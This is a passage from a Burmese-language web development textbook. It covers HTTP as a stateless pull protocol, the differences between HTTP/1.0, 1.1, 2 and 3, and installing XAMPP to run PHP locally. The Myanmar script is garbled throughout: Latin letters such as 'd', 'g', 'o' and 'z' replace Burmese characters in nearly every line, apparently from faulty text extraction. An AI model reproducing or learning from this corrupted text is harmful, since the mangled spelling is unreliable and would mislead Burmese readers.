အစားထုိး အလုပ်လုပ်နိုင်oို့ Expires ကိုပါ တွဲထည့်dပးထားတာ goစ်ပါလိမ့်မယ်။

ဒီdနရာမှာ Header   တစ်ခုချင်းစီရဲ့ အဓိပ္ပါယ်အdသးစိတ်ထက်   Request/Response   dတွမှာ ဒီလုိ   Header  
မျ ို းdတွ  ရိှတတ်တယ် ဆိုတာdလာက်ကို  သတိgပုထားရင်  လံုdလာက်ပါပြပီ။  ကျန်အdသးစိတ်ကို  လုိအပ်
လာdတာ့မှ သ့ူdနရာနဲ့သူ goည့်စွက်dလ့လာသွားလုိ့ ရနိုင်ပါတယ်။

Stateless Protocol
HTTP  ကို  Stateless Protocol  လ့ုိdခါ်ပါတယ်။ ဒီလုိဆက်သွယ်မှုတစ်ခု  ပြပီးဆုံးသွားရင်၊ အမှန်တစ်ကယ်
ပြပီးဆုံးသွားတာပါ။  dနာက်ထပ်  ထပ်မံgပုလုပ်မယ့်  ဆက်သွယ်မှုdတွနဲ့  အခုပြပီးဆုံးသွားတဲ့  ဆက်သွယ်မှု
သက်ဆိုင်gခင်း၊  ဆက်စပ်gခင်း  မရှိdတာ့ပါzူး။  ဆက်သွယ်မှု  တစ်ကြကိမ်တိုင်းဟာ  သီးgခားအလုပ်လုပ်တဲ့
သdzာရှိလုိ့ Stateless Protocol လ့ုိdခါ်တာပါ။ ဒါအလွန်အdရးကြကီးမှာတယ်။ dသချာမှတ်ထားပါ။

ဒီလုိ  Stateless  သdzာသzာဝကdပးတဲ့  အားသာချက်၊  အားနည်းချက်dတွ  ရိှပါတယ်။ အားနည်းချက်
ကdတာ့ Client ဟာ Server ကိုဆက်သွယ်မှုgပုလုပ်တဲ့ အကြကိမ်တိုင်းမှာ dပးပုိ့o့ုိ လုိအပ်တဲ့ အချက်အလက်
dတွကို  ထပ်ခါထပ်ခါ  dပးပ့ုိရမှာgoစ်ပါတယ်။  နမူနာပံုမှာ  eကည့်လုိက်ရင်  User-Agent:  Chrome  ဆိုတဲ့
အချက်အလက်ကို  ထည့်သွင်းdပးပ့ုိတဲ့အတွက်  Server  က  ဆက်သွယ်မှုgပုလုပ်လာသူဟာ  Chrome
Browser  goစ်deကာင်း  သိသွားပါတယ်။  ဒီနည်းက  Client  က  Server  ကို  သူzယ်သူလည်း  အသိdပး
အdeကာင်းeကားတဲ့ သdzာမျ ို းပါ။ ဒါdပမယ့် Client က dနာက်တစ်ကြကိမ် Server ကို ထပ်မံဆက်သွယ်လုိ
တဲ့အခါ "ငါ ခုနက User-Agent: Chrome လ့ုိ ပ့ုိထားပြပီးသားပဲ၊ ဒီတစ်ခါထည့်မပ့ုိdတာ့zူး" လ့ုိ ချန်ထားလ့ုိ
မရနိုင်dတာ့ပါzူး။  ချန်ထားလုိက်ရင်  Server  က  အလုိလုိသိမှာ  မဟုတ်ပါzူး။  zာdeကာင့်လဲဆိုdတာ့
ပထမအကြကိမ်gပုလုပ်တဲ့ ဆက်သွယ်မှုဟာ ပြပီးဆုံးသွားခဲ့ပြပီးပါပြပီ။ ပျက်gပယ်သွားခဲ့ပါပြပီ။ အခုတစ်ကြကိမ် ထပ်မံ
gပုလုပ်တဲ့ ဆက်သွယ်မှုနဲ့ သက်ဆိုင်gခင်းမရှိတဲ့အတွက်deကာင့်ပါ။ 
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ဒါdeကာင့်  Client  က  ဆက်သွယ်မှု  gပုလုပ်တိုင်းမှာ  လုိအပ်တဲ့အချက်အလက်dတွကို  အပြမဲတမ်း
ထပ်ခါထပ်ခါ ထည့်သွင်းdပးပုိ့ရမှာပဲ goစ်ပါတယ်။ ဒါdeကာင့်  Browser  မှာ လိပ်စာတစ်ခု ရိုက်ထည့်လုိက်
တိုင်း၊  Link  တစ်ခုနှိပ်လုိက်တိုင်း၊  Refresh  လုပ်လုိက်တိုင်း ဆက်သွယ်မှု အသစ်အသစ်dတွကို dပးပ့ုိသွား
gခင်းgoစ်တယ်လို့ gမင်eကည့်နိုင်ပါတယ်။

နမူနာရှင်းလင်းချက် ဆိုတာကိုdတာ့ သတိgပုပါ။ လက်dတွ့ Browser dတရွဲ့ User-Agent တန်oုိးက အ့ဲဒီ
လုိ  တိုတိုရှင်းရှင်းdလး မဟုတ်ပါzူး။  Operating System  အမျ ို းအစားdတွ၊  Browser Version  နံပါတ်
dတွ၊ Compatibility dခါ် အဓိပ္ပါယ် သိပ်မရှိလှzဲ အရင်dခတ်က ပုိ့ခဲ့ရလ့ုိ အခုလည်း ထည့်ပ့ုိdနရdသးတဲ့
အချက်အလက်dတွ စသည်goင့် အများကြကီးပါဝင်ပြပီး ရှုပ်dထွးတဲ့ တန်oိုးတစ်ခု goစ်နိုင်ပါတယ်။ အdသးစိတ်
eကည့်စရာ  မလိုအပ်dသးပါzူး။  သdzာသzာဝအားgoင့်  Browser  dတွက ဆက်သွယ်မှုgပုလုပ်တဲ့အခါ
သူzယ်သူလဲဆိုတာကို  အသိdပးတဲ့အdနနဲ့  User-Agent  တန်oုိးကို  ထည့်သွင်းdပးပို့dလ့  ရိှတယ်လို့
မှတ်ထားရင် ရပါပြပီ။

ဒီလုိ  ထပ်ခါထပ်ခါ  gပန်ပို့dနရပါတယ်ဆိုတဲ့  အားနည်းချက်ကပဲ  အားသာချက်  gပန်goစ်dနပါdသးတယ်။
အကယ်၍များ ဆက်သွယ်မှုdတွဟာ တစ်ခုနဲ့တစ်ခု  ဆက်စပ်dနမယ်ဆိုရင်  Client  zက်က စဉ်းစားစရာ
dတွ အdတာ်များသွားပါပြပီ။  "ငါ ပထမအကြကိမ်ပ့ုိခဲ့တာ zာdတွလည်း၊ ဒီတစ်ကြကိမ် zာdတွထပ်ပ့ုိရမလဲ၊ ပ့ုိ
ထားတာdတွက Server မှာ ရှိdသးရဲ့လား၊ မရှိdတာရ့င် zယ်လုိလုပ်မလဲ" စသည်goင့် dမးခွန်းထုတ်စရာ
dတွ  အdတာ်များသွားပါပြပီ။  အခုdတာ့  Stateless  goစ်dနတဲ့အတွက်  အရမ်းရှင်းသွားပါတယ်။  zာမှ
dမးခွန်းထုတ်မdနzဲ လုိအပ်တာအကုန်ပ့ုိပြပီး ဆက်သွယ်လုိက်ယံုသာgoစ်လ့ုိ  Client  အတွက် ဆက်သွယ်မှု
dတွ  gပုလုပ်ရတာ  dတာ်dတာ်ကြကီး  ရိုးရှင်းလွယ်ကူသွားတာပါ။  ဒီအားသာချက်deကာင့်ပဲ  dနာက်ပုိင်းမှာ
HTTP   ကို အဓိကဆက်သွယ်dရးနည်းပညာအgoစ်   Web   မှာသာမက တgခား   Mobile, Desktop   စတဲ့ dဆာ့  
o်ဝဲအမျ ို းအစားdတွမှာ အသံုးgပုdနeကတာပါ။
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Pull Technology
HTTP ဟာ Pull Technology တစ်မျ ို း goစ်ပါတယ်။ Client   က   Server   ကို စတင်ဆက်သွယ်gခင်းအားgoင့်  
သာ  ဆက်သွယ်မှုကို  အစgပုပါတယ်။    Server    က ဆက်သွယ်မှုကို  အစgပုတယ်ဆိုတာ  လံုးဝမရှိzူး   လ့ုိ
မှတ်နိုင်ပါတယ်။ လုိချင်တဲ့  Client က အချက်အလက်ကို  Pull လုပ်ယူရလ့ုိ Pull Technology လ့ုိ dခါ်eက
တာပါ။ dပးချင်တဲ့သူက သ့ူသdzာနဲ့သူ Push လုပ်dပးနိုင်တဲ့ Push Technology မဟုတ်ပါzူး။ 
ဒီလုိ Pull Technology goစ်gခင်းdeကာင်းလည်း အားသာချက်၊ အားနည်းချက်dတွ ရိှdနပါတယ်။ အားသာ
ချက်ကdတာ့ Client အတွက် အလုပ်လုပ်ရတာ ထပ်ဆင့်ပုိပြပီး ရိုးရှင်းလွယ်ကူသွားတာပါ။ လုိချင်တာရှိရင်
ဆက်သွယ်မှု gပုလုပ်လုိက်ယံုပါပဲ။ ကိုယ်က မဆက်သွယ်zဲနဲ့ Server က dပးပ့ုိလာတာများ ရိှမလားဆိုပြပီး
ထုိင်dစာင့်dနစရာ လံုးဝ မလုိအပ်dတာ့ပါzူး။ ကိုယ့်zက်က မဆက်သွယ်zဲ  Server  zက်က တုံ့gပန်မှာ
မဟုတ်တာ dသချာdနလ့ုိပါ။

အားနည်းချက်ကdတာ့  Real-Time  မgoစ်gခင်း  goစ်တယ်လို့  ဆိုနိုင်ပါတယ်။  Server  မှာ  အချက်အလက်
dတွက Update goစ်dနပြပီ။ ဒါdပမယ့် သ့ူzက်ကdန dပးလ့ုိမရလ့ုိ Client ဆီမှာ အချက်အလက် Update
က dရာက်ရှိသွားမှာ မဟုတ်ပါzူး။  Client က လုိချင်လ့ုိ dတာင်းယူdတာ့မှသာ ရိှထားတဲ့ အချက်အလက်
Update dပးလ့ုိရမှာပါ။ ဒါdeကာင့် Server မှာ Update goစ်တာနဲ့ Client မှာ အလုိအdလျှာက် Update မ
goစ်လ့ုိ Real-Time မgoစ်တဲ့ အားနည်းချက် goစ်dပါ်dစတာပါ။

ဒီ Pull Technology သdzာသzာဝဟာလည်း HTTP dအာင်gမင်ရgခင်း အdeကာင်းရင်း dတွထဲမှာ တစ်ခု
အပါအဝင်goစ်ပါတယ်။ အထက်မှာ dgပာခဲ့တဲ့  Stateless သdzာသzာဝနဲ့ dပါင်းစပ်လိုက်တဲ့အခါ Client
dတွအdနနဲ့  HTTP  ကိုအသံုးgပုပြပီး  Server  ကိုဆက်သွယ်ရတာ အများကြကီး ရိုးရှင်းလွယ်ကူသွားတာပါ။ ဒါ
deကာင့် အတိုချုပ်dလးgပန်dgပာချင်ပါတယ်။

• HTTP ဟာ Stateless နည်းပညာgoစ်လ့ုိ ဆက်သွယ်မှုတစ်ခုနဲ့တစ်ခု ဆက်စပ်သက်ဆိုင်gခင်းမရှိပါ
zူး။ ဆက်သွယ်မှုတစ်ခုgပုလုပ်တိုင်းမှာ dပးပို့oုိလိုအပ်တဲ့အချက်အလက်dတွကို  ထပ်မံdပးပ့ုိရမှာ
goစ်ပါတယ်။

• HTTP ဟာ Pull Technology goစ်လ့ုိ Client ကဆက်သွယ်မှသာလျှင် Server က တုံ့gပန်မှာgoစ်ပါ
တယ်။ Client က မဆက်သွယ်zဲ  Server ကစတင်ဆက်သွယ်မှာ မဟုတ်တဲ့ နည်းပညာပဲ goစ်ပါ
တယ်။
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HTTP/2 & HTTP/3
HTTP  မှာ  Version  (၄)  ခု  ရှိပါတယ်။  HTTP/1.0,  HTTP/1.1,  HTTP/2  နဲ့  HTTP/3  တို့ပါ။  HTTP/1.0
ကdတာ့  အခုzယ်သူမှ  မသံုးdတာ့ပါzူး။  ဟိုးအရင် dပါ်ခါစက နည်းပညာပါ။  လက်ရှိ  အတွင်ကျယ်ဆုံး
အသံုးgပုdနတာက HTTP/1.1 goစ်ပြပီးdတာ့၊ HTTP/2 ကို တစ်goည်းgoည်း dgပာင်းdနeကပါတယ်။ အခုdတာ့
HTTP/3 လည်း ထွက်ပါdတာ့မယ်။

ဒီနည်းပညာdတွ  goစ်dပါ်လာပံုနဲ့  ပက်သက်ပြပီး  စိတ်ဝင်စားoို့  dကာင်းတဲ့  dနာက်ခံအdeကာင်းအရာdလး
dတွ ရိှdပမယ့် ဒါdတွကို  အကျယ်မချဲ့dတာ့ပါzူး။ gပည့်စုံdအာင် dgပာရမယ်ဆိုရင်  TCP  တို့  UDP  တို့လုိ
Network  နည်းပညာdတွ  အdeကာင်းကိုပါ  ထည့်dgပာမှ  ရပါလိမ့်မယ်။  ဒီdနရာမှာ  အလုပ်လုပ်ပံု
သdzာသzာဝ အကျဉ်းချုပ်dလာက်ကို ထည့်သွင်း doာ်gပချင်ပါတယ်။

• HTTP/1.0 မှာ  Resource  တစ်ခုကိုလုိချင်ရင်  Client  က  Server  ကို  တစ်ကြကိမ်  ဆက်သွယ်ရပါ
တယ်။ Resource (  ၁၀  )   ခုရှရိင်   Network Connection (  ၁၀  )   ကြကိမ် gပုလုပ်ရပါတယ်  ။ အထက်မှာ
dတွ့ခဲ့ပြပီး goစ်ပါတယ်။ Google Home Page တစ်ခုကို လုိချင်လို့ Request လုပ် ယူလုိက်dပမယ့်၊
တစ်ကယ်တမ်း ရယူoုိ့လုိတဲ့  Resource  dတွက အများကြကီးပါ။  (၄၀)  dကျာ်ထိ ရိှတာကို dတွ့ရပါ
တယ်။  HTTP/1.0  ကိုသာအသုံးgပုမယ်ဆိုရင်  Browser  က ဒါdတွအကုန်ရo့ုိအတွက်  Network
Connection အကြကိမ် (၄၀) သီးgခားစီ gပုလုပ်သွားရမှာ goစ်ပါတယ်။

• HTTP/1.1 မှာdတာ့ Keep Alive လ့ုိdခါ်တဲ့ Network Connection ကို လုိသdလာက် oွင့်ထားလ့ုိ
ရတဲ့  သdzာသzာဝdလး  ပါသွားပါတယ်။  Network  Connection    တစ်ခုထဲနဲ့  လုိချင်တဲ့  
Resource (  ၄၀  )    dကျာ်ကို တစ်ခုပြပီးတစ်ခု တန်းစီယူလို့ ရနိုင်သွားပါတယ်  ။  Connection  အကြကိမ်
(၄၀)  oွင့်စရာ မလုိdတာ့ပါzူး။  ဒါdပမယ့် oွင့်ထားတဲ့  Connection  dပါ်မှာ  Resource  dတွကို
တစ်ခုပြပီးမှတစ်ခု  တန်းစီပြပီးdတာ့  ယူdနရတဲ့  အားနည်းချက် ကျန်dနပါdသးတယ်။  ဒါdeကာင့်
Browser  dတွက အလုပ်လုပ်ရတာ gမန်သွားdအာင်  Network Connection (၄-၅)  ခု အပြပိုင်oွင့်
ပြပီး Resource dတွကို ခွဲယူeကdလ့ ရှိပါတယ်။
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• HTTP/2 မှာdတာ့  Multiplex လ့ုိdခါ်တဲ့ သdzာသzာဝ တစ်မျ ို း ထပ်ပါသွားပါတယ်။ Network
Connection (၁) ခုထဲနဲ့ Resource dတွကို (၄-၅) သုတ်ခွဲပြပီး ပြပိုင်တူယူလ့ုိ ရသွားပါတယ်။ (၄-၅)
သုတ်ခွဲပြပီး  တစ်ပြပိုင်ထဲလုိချင်လ့ုိ  Network  Connection  (၄-၅)  ခု  ခွဲoွင့်စရာ  မလုိdတာ့ပါzူး။
gပဿနာတစ်ခု ကျန်dနပါတယ်။  Network Connection (  ၁  )    ခုdပါ်မှာ    (  ၄  -  ၅  )    သုတ်ခွဲယူထားတဲ့  
အတွက်  တစ်သုတ်    Fail    goစ်ရင်  အကုန်အစအဆုံး  gပန်စရgခင်း   goစ်ပါတယ်။  TCP  လ့ုိdခါ်တဲ့
Network Protocol  နည်းပညာရဲ့ သdzာသzာဝအရ တစ်ချ ို ့တစ်ဝက်  Fail  goစ်တာနဲ့  အကုန်
အစအဆုံး gပန်ပ့ုိတဲ့အတွက် goစ်ပါတယ်။

• HTTP/3 မှာdတာ့ TCP ကို မသံုးdတာ့ပါzူး။ UDP လ့ုိdခါ်တဲ့ Network Protocol ကို dgပာင်းသံုး
dတာ့မှာ goစ်ပါတယ်။ UDP က ပုိ့စရာရှိတာ ပ့ုိလိုက်မှာပါ။ Fail goစ်gခင်း မgoစ်gခင်းကို သူတာဝန်မ
ယူပါzူး။ ဒါgoင့်ရင် တစ်ချ ို ့တစ်ဝက် Fail goစ်တာမျ ို း ရိှခဲ့ရင် zယ်လုိလုပ်မလဲ။ ဒီလုိရှိလာတဲ့အခါ
Fail    goစ်တဲ့အပုိင်းကိုပဲ dရးွပြပီး gပန်ပို့dပးနိုင်တဲ့    QUIC    လ့ုိdခါ်တဲ့  နည်းပညာတစ်မျ ို း   ကို  Google
က တီထွင်ထားပါတယ်။ HTTP/3 မှာ အ့ဲဒီ QUIC နည်းပညာကို အသံုးgပုမှာ goစ်ပါတယ်။

ဒီdလာက်ဆိုရင်  HTTP/1.1, HTTP/2, HTTP/3  စသည်goင့် သံုးထားတဲ့  Version  ကွဲgပားမှုကို  gမင်တဲ့အခါ
zာကွာသွားတာလဲ ဆိုတာကို အeကမ်းoျဉ်း gမင်သွားeကလိမ့်မယ်လ့ုိ ယူဆပါတယ်။

Conclusion
PHP  အdeကာင်းမdgပာခင်  ဒါdတွကို  အရင်dgပာgပdနတယ်ဆိုတာ  လုိအပ်လ့ုိပါ။  PHP  ဟာ  dတာd်တာ်
dလး  အdgခခံကျတဲ့  နည်းပညာတစ်ခုပါ။  သူကိုယ်တိုင်  အလုပ်အားလံုးကို  လုပ်တာမဟုတ်ပါzူး။  Web
နည်းပညာကို  သူက အသံုးချပြပီး  အလုပ်လုပ်တာပါ။ ဒါdeကာင့်  PHP  ကိုdလ့လာရတာ ထိdရာက်မှုရှိdစo့ုိ
Web  နည်းပညာရဲ့  သdzာသzာဝdတွကို  အရင်dgပာgပdနတာလ့ုိ  ဆိုနိုင်ပါတယ်။  dဆာ့o်ဝဲdရးသားမှု
နည်းပညာတစ်ခုကို  dလ့လာတဲ့dနရာမှာ  ကိုယ်dရးလိုက်တဲ့ကုဒ်  zယ်လုိအလုပ်လုပ်သွားသလဲဆိုတာကို
dခါင်းထဲမှာ ပံုdoာ်eကည့်နိုင်စွမ်းရှိo့ုိဟာ အdရးအကြကီးဆုံး လုိအပ်ချက်goစ်ပါတယ်။ အခုလုိ  Web ရဲ့အလုပ်
လုပ်ပုံကို သိထားမှာသာ PHP ကိုအသံုးgပုdရးသားထားတဲ့ ဝz်ဆိုက်တစ်ခုရဲ့ အလုပ်လုပ်ပံုကို dခါင်းထဲမှာ
ပံုdoာ်eကည့်နိုင်စွမ်း ရှိမှာပဲgoစ်ပါတယ်။
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အခန်း (၂၆) – PHP Development Environment

PHP ကုဒ်dတွ စတင်dရးသားနိုင်o့ုိအတွက် လုိအပ်တဲ့ Development Environment တစ်ခု တည်dဆာက်
ထားo့ုိ  လုိပါတယ်။  Development  Environment  ဆိုတာ  ကိုယ့်စက်ထဲမှာ  ကုဒ်dတွ  dရးပြပီး  Run  လ့ုိ
ရdအာင် လုိအပ်တဲ့  နည်းပညာdတွ  ထည့်သွင်းgပင်ဆင်gခင်း  goစ်ပါတယ်။  PHP  ဟာ  Server-side  နည်း
ပညာတစ်ခုgoစ်တဲ့အတွက်  Web Server  တစ်ခုနဲ့  ပူးတွဲအသုံးချရတဲ့သdzာ ရိှပါတယ်။ ထင်ရှားတဲ့  Web
Server  dဆာ့o်ဝဲdတွက  Apache, Nginx  နဲ့  Microsoft IIS  တို့ပဲ  goစ်ပါတယ်။  PHP  ကို  ဒီ  Web Server
နည်းပညာ အားလံုးနဲ့ ပူးတွဲအသံုးgပုလ့ုိ ရနိုင်ပါတယ်။ အ့ဲဒီထဲက Apache နဲ့ Nginx တို့ဟာ Open Source
နည်းပညာdတွ goစ်eကပြပီး PHP နဲ့ ပုိပြပီးdတာ့ တွဲoက် အသံုးများပါတယ်။

အခုdနာက်ပုိင်း PHP Version dတွမှာ Development Server လ့ုိdခါ်တဲ့ Web Server dလးတစ်ခု တစ်ခါ
ထဲ ပါဝင်ပါတယ်။ ဒါdeကာင့် သီးgခားdဆာ့o်ဝဲdတွ မလုိအပ်zဲ၊ သ့ူမှာပါတဲ့  Development Server နဲ့တင်
PHP ကုဒ်dတွ dရးပြပီးစမ်းလ့ုိ ရနိုင်ပါတယ်။ ဒါdပမယ့် gပည့်စုံတဲ့  Development Environment တစ်ခုgoစ်
o့ုိဆိုရင်  MySQL Database  အပါအဝင် တgခား လုိအပ်တာdတွ ရှိပါdသးတယ်။ လုိအပ်မယ့် နည်းပညာ
dတွကို  တစ်ခုပြပီးတစ်ခု  ကိုယ့်အစီအစဉ်နဲ့ကိုယ်  Install  လုပ်လ့ုိ  ရနိုင်သလုိ၊  လုိအပ်မယ့်  နည်းပညာdတွ
အားလံုးကို dပါင်းစပ်စုစည်းdပးထားတဲ့ All-in-one Package dတွလည်း ရှိdနပါတယ်။ အ့ဲဒီထဲမှာ အထင်
ရှားဆုံးနဲ့ အdကာင်းဆုံးကdတာ့ XAMPP လ့ုိdခါ်တဲ့ နည်းပညာပါ။

- https://www.apachefriends.org

https://www.apachefriends.org/


PWD 2022 – အခန်း (၂၆) – PHP Development Environment 396

XAMPP မှာ gပည့်စုံတဲ့ PHP Development Environment တစ်ခု တည်dဆာက်o့ုိအတွက် လုိအပ်တာdတွ
အားလံုး စုစည်းပါဝင်ပါတယ်။  Windows, Linux  နဲ့  Mac  အားလံုးမှာ အသံုးgပုနိုင်ပါတယ်။ ပါဝင်တာdတွ
အများကြကီးထဲက အdရးအကြကီးဆုံး တစ်ချ ို ့ကို dရွးထုတ်gပရရင် ဒီလုိပါ –

1. Apache Web Server
2. Apache Modules
3. PHP
4. PHP Extensions
5. MySQL Database
6. MySQL Admin

အခုdနာက်ပုိင်းမှာ PHP ကို  Nginx Web Server နဲ့လည်း အသံုးများလာdပမယ့် တွဲoက် အသုံးအများဆုံး
ကdတာ့ Apache goစ်ပါတယ်။ XAMPP မှာ Apache Web Server တစ်ခါထဲ ပါဝင်ယံုသာမက လုိအပ်မယ့်
Web Server Modules dတွလည်း ပါဝင်ပါdသးတယ်။ ဥပမာ Resource dတွကို Compress  လုပ် ချုံ့ပြပီးမှ
Response gပန်dပးနိုင်တဲ့ Compression Module လုိ Module မျ ို းdတွပါ။ ဒီ Module dတွ အdeကာင်းကို
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အdသးစိတ်  ထည့်သွင်း  မdoာ်gပနိုင်dပမယ့်၊  dနာက်ပုိင်းမှာ  တစ်ချ ို ့ပdရာZျက်dတွအတွက်  လုိအပ်တဲ့
Web Server Module    မစုံလ့ုိ  အလုပ်မလုပ်zူး   ဆိုတဲ့  gပဿနာမျ ို းdတွ  XAMPP  နဲ့ဆိရုင်  မရှိသdလာက်
နည်းမှာgoစ်ပါတယ်။ အားလံုးစုံdအာင် တစ်ခါထဲ ထည့်ထားdပးလို့ပါ။

PHP  ဟာ  Interpreted  Language  တစ်မျ ို းgoစ်ပါတယ်။  dရးလုိက်တဲ့  PHP  ကုဒ်dတွကို  ကွန်ပျူတာ
နားလည်dအာင်  တိုက်ရိုက်zာသာgပန်dပးနိုင်တဲ့  Interpreter  လုိပါတယ်။  XAMPP  နဲ့အတူ  PHP
Interpreter တစ်ခါထဲ ပါဝင်ပါတယ်။ ပြပီးခဲ့တဲ့အခန်းမှာ Server က PHP ကုဒ်dတွကို အရင်အလုပ်လုပ်ပြပီး
ရလာတဲ့ရလဒ်ကို  Response  အdနနဲ့  gပန်dပးတယ်လ့ုိ doာ်gပခဲ့ပါတယ်။  Apache Web Server  အတွက်
mod_php လ့ုိdခါ်တဲ့ PHP ကုဒ်dတွကို Run ပြပီးမှ ရလဒ်ကို Response gပန်dပးနိုင်dစတဲ့ Module တစ်ခရုှိ
ပါတယ်။ ဒါdeကာင့် Install လုပ်ထားတဲ့ Apache Web Server နဲ့ PHP Interpreter ကို mod_php နဲ့ချတိ်
dပးရတယ်လ့ုိ  ဆိုနိုင်ပါတယ်။  ဒီအလုပ်ကို  XAMPP  က  တစ်ခါထဲ  လုပ်ထားdပးပြပီးသား  goစ်လ့ုိ  ကိုယ့်
zာသာ   Configuration  dတွလုပ်စရာ  မလုိအပ်dတာ့ပါzူး။  Request    gပုလုပ်လာတဲ့    Resource    ရဲ့  
Extension   က   .php     goစ်ခဲ့မယ်ဆိုရင်   Apache   က   PHP   ကိုအသံုးgပုပြပီး ကုဒ်dတွကို   Run   ပြပီးမှသာ ရလဒ်  
ကို   Response   အdနနဲ့ gပန်dပးသွားမှာပါ  ။

ပြပီးdတာ့  PHP  ကို  Install  လုပ်တဲ့အခါ  သ့ူချည်းပဲ  မgပည့်စုံပါzူး။  Extension  dတွ  လုိအပ်ပါတယ်။
Database  နဲ့  ဆက်သွယ် အလုပ်လုပ်နိုင်တဲ့  Extension  dတွ၊  အZ[လိပ်စာမဟုတ်တဲ့  String  dတွကို  စီမံ
အလုပ်လုပ်dပးနိုင်တဲ့  Extension dတွ၊ စသည်goင့် လုိအပ်ပါတယ်။ dနာက်ပုိင်းမှာ တစ်ချ ို ့ပdရာZျက်dတွ
အတွက် လုိအပ်တဲ့    PHP Extension   မစုံလ့ုိ အလုပ်မလုပ်zူး   ဆိုတဲ့ gပဿနာမျ ို းdတွ XAMPP နဲ့ဆိရုင် မရှိ
သdလာက် နည်းမှာgoစ်ပါတယ်။ အားလံုးစုံdအာင် တစ်ခါထဲ ထည့်ထားdပးလ့ုိပါ။

ဆက်လက်ပြပီးdတာ့  MySQL  လုိ  Database Server  နည်းပညာနဲ့  အ့ဲဒီ  Database  ကို  စီမံနိုင်တဲ့  Admin
dဆာ့o်ဝဲdတွလည်း  XAMPP မှာ အားလံုးပါဝင်ပြပီး goစ်ပါတယ်။ ဒီလုိမျ ို း တစ်ခုထဲနဲ့ အကုန်စုံdအာင် ပါတဲ့
အတွက်deကာင့်ပဲ  PHP  Development  Environment  တည်dဆာက်o့ုိအတွက်  အသင့်dတာ်ဆုံး  နည်း
ပညာအgoစ် XAMPP ကို dရွးချယ်အသံုးgပုသင့်gခင်း goစ်ပါတယ်။
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အ့ဲဒီလုိ အကုန်စုံdအာင် ပါdနတဲ့အတွက်deကာင့်ပဲ အများအသံုးgပုo့ုိ အင်တာနက်dပါ်မှာ လွှင့်တင်dပးမယ့်
Production Environment    နဲ့dတာ့ မသင့်dတာ့zူး   လ့ုိ  တစ်ခါထဲ တွဲoက်မှတ်သားသင့်ပါတယ်။ လုိတာ
dရာ၊  မလုိတာdရာ  အကုန်ပါdနလုိ့၊  လုိအပ်တာထက်  ပုိdနှးတာမျ ို းdတွ၊  မသံုးgoစ်zဲ  ပါဝင်dနတဲ့  နည်း
ပညာကdန လံုခြခုံdရးအားနည်းချက် dပါ်dနတာမျ ို းdတွ ရှိလာတတ်ပါတယ်။ ဒါdeကာင့် ကိုယ့်စက်ထဲမှာ
PHP ကုဒ်dတွ dရးစမ်းo့ုိအတွက် Development Environment တည်dဆာက်ရာမှာသာ အသံုးgပုသင့်ပြပီး၊
အများသံုးo့ုိ dပးတဲ့  Production Environment  မှာdတာ့ မသံုးသင့်zူးလ့ုိ ပူးတွဲမှတ်သားရမှာပါ။ အများ
သံုးမယ့်  Production  Environment  မှာdတာ့  ကိုယ့်ပdရာZျက်အတွက်  လုိအပ်မယ့်  နည်းပညာdတွကို
ကိုယ်တိုင် (သ့ုိမဟုတ်) သက်ဆိုင်ရာ System Administrator က တစ်ခုချင်း စီစစ်ပြပီး ထည့်သွင်းoို့ လုိအပ်
နိုင်ပါတယ်။

ဆက်လက်dလ့လာနိုင်o့ုိအတွက် XAMPP Installer oုိင်ကို ဒီလိပ်စာမှာ Download ရယူနိုင်ပါတယ်။

- https://www.apachefriends.org
 
Install  လုပ်ပုံလုပ်နည်းနဲ့၊  Install  လုပ်ပြပီးdနာက် ဆက်လုပ်သင့်တာdတွ ရှိပါတယ်။ ဒါdတွကို စာနဲ့dရးgပ
ရင် ထိdရာက်မှုရှိမှာ မဟုတ်ပါzူး။ လက်dတွ့လုပ်gပမှသာ ထိdရာက်မှုရှိမှာ goစ်ပါတယ်။ ဒါdeကာင့် ဗီွဒီယုိ
သင်ခန်းစာတစ်ခု ကြကိုတင်စီစဉ်ထားပါတယ်။ dရှ့ဆက်မoတ်ခင် အ့ဲဒီသင်ခန်းစာကို eကည့်ပြပီး  XAMPP ကို
Install လုပ် အသင့်gပင်ထားoုိ့ လုိအပ်ပါတယ်။ ဒီလိပ်စာမှာ eကည့်ရမှာပါ။

- https://www.facebook.com/fairway.technology/videos/2994956967228569/

Fairway Technology ရဲ့ Facebook Page ကို သွားပြပီး Videos Section ထဲမှာeကည့်လုိက်ရင်လည်း PHP
Development Environment with XAMPP and Composer ဆိုတဲ့  dခါင်းစဉ်နဲ့  ဒီဗီွဒီယုိ သင်ခန်းစာကို
dတွ့ရမှာပါ။  အချနိ်  (၁၅)  မိနစ်ခန့်goစ်ပြပီး  eကည့်goစ်dအာင်eကည့်oို့နဲ့  လုပ်goစ်dအာင်  လုိက်လုပ်ထားo့ုိ
လုိအပ်ပါတယ်။ XAMPP ကို  Install  လုပ်နည်းအgပင် PHP ကို  Command Prompt မှာ Run လ့ုိရdအာင်
လုပ်နည်းနဲ့ Composer dခါ် dနာက်ပုိင်းမှာ လုိအပ်လာမယ့် နည်းပညာတစ်ခုကို ထည့်သွင်းနည်းပါ တစ်ခါ
ထဲ ထည့်gပထားလ့ုိပါ။

https://www.facebook.com/fairway.technology/videos/2994956967228569/
https://www.apachefriends.org/


PWD 2022 – အခန်း (၂၆) – PHP Development Environment 399

Running PHP Code
Development  Environment  တည်dဆာက်ရရှိပြပီဆိုရင်  PHP  ကုဒ်dတွကို  zယ်မှာdရးရမလဲ၊  zယ်လုိ
စမ်းရမလဲဆိုတာကို ဆက်dgပာရပါမယ်။ 

1. PHP ကုဒ်dတွကို HTML Document ထဲမှာdရးပြပီး
2. .php Extension နဲ့
3. Web Server ရဲ့ Document Root oုိဒါထဲမှာ သိမ်းdပးရပါမယ်။

XAMPP  နဲ့အတူပါတဲ့  Apache  Web  Server  ရဲ့  Document  Root  oုိဒါအမည်ဟာ  htdocs goစ်ပြပီး
Windows မှာဆိုရင် အများအားgoင့်  C:\xampp\htdocs goစ်ပါတယ်။ အကယ်၍ XAMPP ကို  Install
လုပ်ချနိ်မှာ oုိဒါတည်dနရာကို dgပာင်းခဲ့ရင်dတာ့ ကိုယ်dgပာင်းခဲ့တဲ့ တည်dနရာမှာပဲ ရှာလုိက်ပါ။ htdocs
oုိဒါထဲမှာ ကုဒ်oုိင်dတွကို ဒီအတိုင်းထည့်dရးလ့ုိရသလုိ၊ လုိအပ်ရင် oုိဒါအဆင့်ဆင့် ထပ်မံတည်dဆာက်ပြပီး
dတာ့ စုစည်းdရးသားလ့ုိ ရပါတယ်။

PHP ကုဒ်dတွ ထည့်သွင်းdရးသားမယ့် HTML oုိင်ရဲ့ အမည်ကို မိမိနှစ်သက်ရာ dပးနိုင်dပမယ့် Extension
